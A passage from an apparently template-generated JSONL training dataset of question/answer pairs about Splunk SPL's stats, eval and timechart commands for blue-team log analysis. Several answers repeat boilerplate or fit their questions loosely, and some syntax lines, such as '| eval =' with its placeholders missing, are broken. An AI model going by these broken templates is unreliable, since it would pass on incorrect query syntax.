useful for this task?", "output": "Advantages of Splunk:\n\nSearch Processing Language (SPL) is Splunk's query language. Searches start with a search command and pipe through transforming commands to filter, aggregate, and format results.\n\nBest suited for:\n- Log searching\n- Security analysis\n- Incident investigation\n- Threat hunting\n\nSIEM queries enable correlation across multiple log sources.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054738Z", "updated_at": "2025-12-18T00:11:32.054738Z"} +{"id": "trtp-62675b07789b", "instruction": "How do I use Splunk alongside other tools in my toolkit?", "output": "Integration points for Splunk:\n\nSearch Processing Language (SPL) is Splunk's query language. Searches start with a search command and pipe through transforming commands to filter, aggregate, and format results.\n\nIntegration suggestions:\n- Create alerts based on queries\n- Feed results to SOAR platforms\n- Export for reporting dashboards\n- Integrate with ticketing systems", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054752Z", "updated_at": "2025-12-18T00:11:32.054752Z"} +{"id": "trtp-d2f464e5bd9d", "instruction": "What do I need to know about Splunk?", "output": "SPL stats Command\n\nstats produces aggregate statistics from search results. Common functions include count, sum, avg, min, max, values, and dc (distinct count).\n\nPlatform: cross-platform\n\nCommon uses:\n- Event aggregation\n- Pattern analysis\n- Anomaly detection\n- Reporting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054950Z", "updated_at": "2025-12-18T00:11:32.054950Z"} +{"id": "trtp-e9ca6a940f4a", "instruction": "Show me the basic syntax for Splunk.", "output": "Syntax for Splunk:\n\n| stats (field) [by field1, field2]\n\nstats produces aggregate statistics from search results. Common functions include count, sum, avg, min, max, values, and dc (distinct count).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054962Z", "updated_at": "2025-12-18T00:11:32.054962Z"} +{"id": "trtp-764211277167", "instruction": "Give me a practical example of Splunk.", "output": "Example of SPL stats Command:\n\n```\n# Count events by user\n| stats count by user\n\n# Multiple aggregations\n| stats count, avg(duration), max(bytes) by src_ip\n\n# Distinct count\n| stats dc(user) as unique_users by src_ip\n\n# List values\n| stats values(dest_port) as ports by src_ip\n\n# First and last\n| stats earliest(_time) as first, latest(_time) as last by user\n```\n\nInterpretation: Returns aggregated values per group", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054974Z", "updated_at": "2025-12-18T00:11:32.054974Z"} +{"id": "trtp-cb5111d952e8", "instruction": "Show me an example of Splunk in action.", "output": "Here is a practical example of Splunk:\n\n```\n# Count events by user\n| stats count by user\n\n# Multiple aggregations\n| stats count, avg(duration), max(bytes) by src_ip\n\n# Distinct count\n| stats dc(user) as unique_users by src_ip\n\n# List values\n| stats values(dest_port) as ports by src_ip\n\n# First and last\n| stats earliest(_time) as first, latest(_time) as last by user\n```\n\nstats produces aggregate statistics from search results. Common functions include count, sum, avg, min, max, values, and dc (distinct count).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054984Z", "updated_at": "2025-12-18T00:11:32.054984Z"} +{"id": "trtp-b83e1ebf634d", "instruction": "What are the use cases for Splunk?", "output": "Use cases for Splunk:\n\n- Event aggregation\n- Pattern analysis\n- Anomaly detection\n- Reporting\n\nstats produces aggregate statistics from search results. Common functions include count, sum, avg, min, max, values, and dc (distinct count).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054996Z", "updated_at": "2025-12-18T00:11:32.054996Z"} +{"id": "trtp-c44d857829a5", "instruction": "What best practices should I follow when using Splunk?", "output": "Tips for using Splunk:\n\n- dc() counts unique values\n- values() lists all values\n- Use as to rename fields\n\nUseful for: Event aggregation, Pattern analysis, Anomaly detection", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055011Z", "updated_at": "2025-12-18T00:11:32.055011Z"} +{"id": "trtp-de17d5ac2148", "instruction": "What should I look for when using Splunk for incident response?", "output": "Using Splunk for threat detection:\n\nstats produces aggregate statistics from search results. Common functions include count, sum, avg, min, max, values, and dc (distinct count).\n\nExample:\n```\n# Count events by user\n| stats count by user\n\n# Multiple aggregations\n| stats count, avg(duration), max(bytes) by src_ip\n\n# Distinct count\n| stats dc(user) as unique_users by src_ip\n\n# List values\n| stats values(dest_port) as ports by src_ip\n\n# First and last\n| stats earliest(_time) as first, latest(_time) as last by user\n```\n\nTips:\n- dc() counts unique values\n- values() lists all values", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055025Z", "updated_at": "2025-12-18T00:11:32.055025Z"} +{"id": "trtp-53fb65fb2a76", "instruction": "What's the process for analyzing data with Splunk?", "output": "Workflow for SPL stats Command:\n\n1. Understand the context: stats produces aggregate statistics from search results. Common functions include count, sum, avg, min, max, values, and dc (distinct count).\n\n2. Apply the tool:\n```\n# Count events by user\n| stats count by user\n\n# Multiple aggregations\n| stats count, avg(duration), max(bytes) by src_ip\n\n# Distinct count\n| stats dc(user) as unique_users by src_ip\n\n# List values\n| stats values(dest_port) as ports by src_ip\n\n# First and last\n| stats earliest(_time) as first, latest(_time) as last by user\n```\n\n3. Common scenarios: Event aggregation, Pattern analysis, Anomaly detection\n\n4. Best practices:\n - dc() counts unique values\n - values() lists all values", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055040Z", "updated_at": "2025-12-18T00:11:32.055040Z"} +{"id": "trtp-03cb09bb2a62", "instruction": "What makes Splunk useful for this task?", "output": "Advantages of Splunk:\n\nstats produces aggregate statistics from search results. Common functions include count, sum, avg, min, max, values, and dc (distinct count).\n\nBest suited for:\n- Event aggregation\n- Pattern analysis\n- Anomaly detection\n- Reporting\n\nSIEM queries enable correlation across multiple log sources.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055053Z", "updated_at": "2025-12-18T00:11:32.055053Z"} +{"id": "trtp-80825f95ad6d", "instruction": "Can Splunk be combined with other analysis methods?", "output": "Integration points for Splunk:\n\nstats produces aggregate statistics from search results. Common functions include count, sum, avg, min, max, values, and dc (distinct count).\n\nIntegration suggestions:\n- Create alerts based on queries\n- Feed results to SOAR platforms\n- Export for reporting dashboards\n- Integrate with ticketing systems", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-stats-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054929Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055066Z", "updated_at": "2025-12-18T00:11:32.055066Z"} +{"id": "trtp-9d674ffed53d", "instruction": "What is Splunk and how is it used in security?", "output": "SPL eval Command\n\neval creates or modifies fields using expressions. Supports mathematical operations, string functions, conditionals, and type conversions.\n\nPlatform: cross-platform\n\nCommon uses:\n- Field creation\n- Data transformation\n- Conditional logic\n- String manipulation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055262Z", "updated_at": "2025-12-18T00:11:32.055262Z"} +{"id": "trtp-dc7f22cff57c", "instruction": "Show me the basic syntax for Splunk.", "output": "Syntax for Splunk:\n\n| eval =\n\neval creates or modifies fields using expressions. Supports mathematical operations, string functions, conditionals, and type conversions.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055274Z", "updated_at": "2025-12-18T00:11:32.055274Z"} +{"id": "trtp-9e29089972c1", "instruction": "Give me a practical example of Splunk.", "output": "Example of SPL eval Command:\n\n```\n# Calculate field\n| eval duration_mins=duration/60\n\n# Conditional logic\n| eval severity=if(status>=500, \"high\", \"low\")\n\n# Case statement\n| eval category=case(\n status<400, \"success\",\n status<500, \"client_error\",\n true(), \"server_error\")\n\n# String operations\n| eval domain=lower(domain)\n| eval filename=mvindex(split(path, \"/\"), -1)\n\n# Combine fields\n| eval src_dst=src_ip.\":\".dest_ip\n```\n\nInterpretation: Creates new field or modifies existing", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055286Z", "updated_at": "2025-12-18T00:11:32.055286Z"} +{"id": "trtp-69bedf980118", "instruction": "Provide an example of using Splunk.", "output": "Here is a practical example of Splunk:\n\n```\n# Calculate field\n| eval duration_mins=duration/60\n\n# Conditional logic\n| eval severity=if(status>=500, \"high\", \"low\")\n\n# Case statement\n| eval category=case(\n status<400, \"success\",\n status<500, \"client_error\",\n true(), \"server_error\")\n\n# String operations\n| eval domain=lower(domain)\n| eval filename=mvindex(split(path, \"/\"), -1)\n\n# Combine fields\n| eval src_dst=src_ip.\":\".dest_ip\n```\n\neval creates or modifies fields using expressions. Supports mathematical operations, string functions, conditionals, and type conversions.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055296Z", "updated_at": "2025-12-18T00:11:32.055296Z"} +{"id": "trtp-d6e0b091ab0a", "instruction": "When should I use Splunk?", "output": "Use cases for Splunk:\n\n- Field creation\n- Data transformation\n- Conditional logic\n- String manipulation\n\neval creates or modifies fields using expressions. Supports mathematical operations, string functions, conditionals, and type conversions.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055307Z", "updated_at": "2025-12-18T00:11:32.055307Z"} +{"id": "trtp-01afda6caa37", "instruction": "What best practices should I follow when using Splunk?", "output": "Tips for using Splunk:\n\n- Use case() for multiple conditions\n- mvindex() for multivalue fields\n- coalesce() for null handling\n\nUseful for: Field creation, Data transformation, Conditional logic", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055323Z", "updated_at": "2025-12-18T00:11:32.055323Z"} +{"id": "trtp-12ed2db78bfb", "instruction": "What indicators does Splunk help identify?", "output": "Using Splunk for threat detection:\n\neval creates or modifies fields using expressions. Supports mathematical operations, string functions, conditionals, and type conversions.\n\nExample:\n```\n# Calculate field\n| eval duration_mins=duration/60\n\n# Conditional logic\n| eval severity=if(status>=500, \"high\", \"low\")\n\n# Case statement\n| eval category=case(\n status<400, \"success\",\n status<500, \"client_error\",\n true(), \"server_error\")\n\n# String operations\n| eval domain=lower(domain)\n| eval filename=mvindex(split(path, \"/\"), -1)\n\n# Combine fields\n| eval src_dst=src_ip.\":\".dest_ip\n```\n\nTips:\n- Use case() for multiple conditions\n- mvindex() for multivalue fields", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055336Z", "updated_at": "2025-12-18T00:11:32.055336Z"} +{"id": "trtp-d664c2dedd21", "instruction": "How do I incorporate Splunk into my security workflow?", "output": "Workflow for SPL eval Command:\n\n1. Understand the context: eval creates or modifies fields using expressions. Supports mathematical operations, string functions, conditionals, and type conversions.\n\n2. Apply the tool:\n```\n# Calculate field\n| eval duration_mins=duration/60\n\n# Conditional logic\n| eval severity=if(status>=500, \"high\", \"low\")\n\n# Case statement\n| eval category=case(\n status<400, \"success\",\n status<500, \"client_error\",\n true(), \"server_error\")\n\n# String operations\n| eval domain=lower(domain)\n| eval filename=mvindex(split(path, \"/\"), -1)\n\n# Combine fields\n| eval src_dst=src_ip.\":\".dest_ip\n```\n\n3. Common scenarios: Field creation, Data transformation, Conditional logic\n\n4. Best practices:\n - Use case() for multiple conditions\n - mvindex() for multivalue fields", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055351Z", "updated_at": "2025-12-18T00:11:32.055351Z"} +{"id": "trtp-d4ae2bb8cbc5", "instruction": "What makes Splunk useful for this task?", "output": "Advantages of Splunk:\n\neval creates or modifies fields using expressions. Supports mathematical operations, string functions, conditionals, and type conversions.\n\nBest suited for:\n- Field creation\n- Data transformation\n- Conditional logic\n- String manipulation\n\nSIEM queries enable correlation across multiple log sources.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055364Z", "updated_at": "2025-12-18T00:11:32.055364Z"} +{"id": "trtp-d84e160f98d6", "instruction": "How does Splunk integrate with other security tools?", "output": "Integration points for Splunk:\n\neval creates or modifies fields using expressions. Supports mathematical operations, string functions, conditionals, and type conversions.\n\nIntegration suggestions:\n- Create alerts based on queries\n- Feed results to SOAR platforms\n- Export for reporting dashboards\n- Integrate with ticketing systems", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-eval-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055241Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055378Z", "updated_at": "2025-12-18T00:11:32.055378Z"} +{"id": "trtp-7d1e64e11e69", "instruction": "What is Splunk and how is it used in security?", "output": "SPL timechart Command\n\ntimechart creates time-series statistics for visualization. Aggregates events into time buckets for trend analysis and graphing.\n\nPlatform: cross-platform\n\nCommon uses:\n- Trend analysis\n- Anomaly visualization\n- Capacity planning\n- Dashboard creation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-timechart-command", "license": "original", "retrieved_at": "2025-12-18T00:11:32.055553Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.055575Z", "updated_at": "2025-12-18T00:11:32.055575Z"} +{"id": "trtp-c185bc7e503f", "instruction": "What command or query syntax does Splunk use?", "output": "Syntax for Splunk:\n\n| timechart span=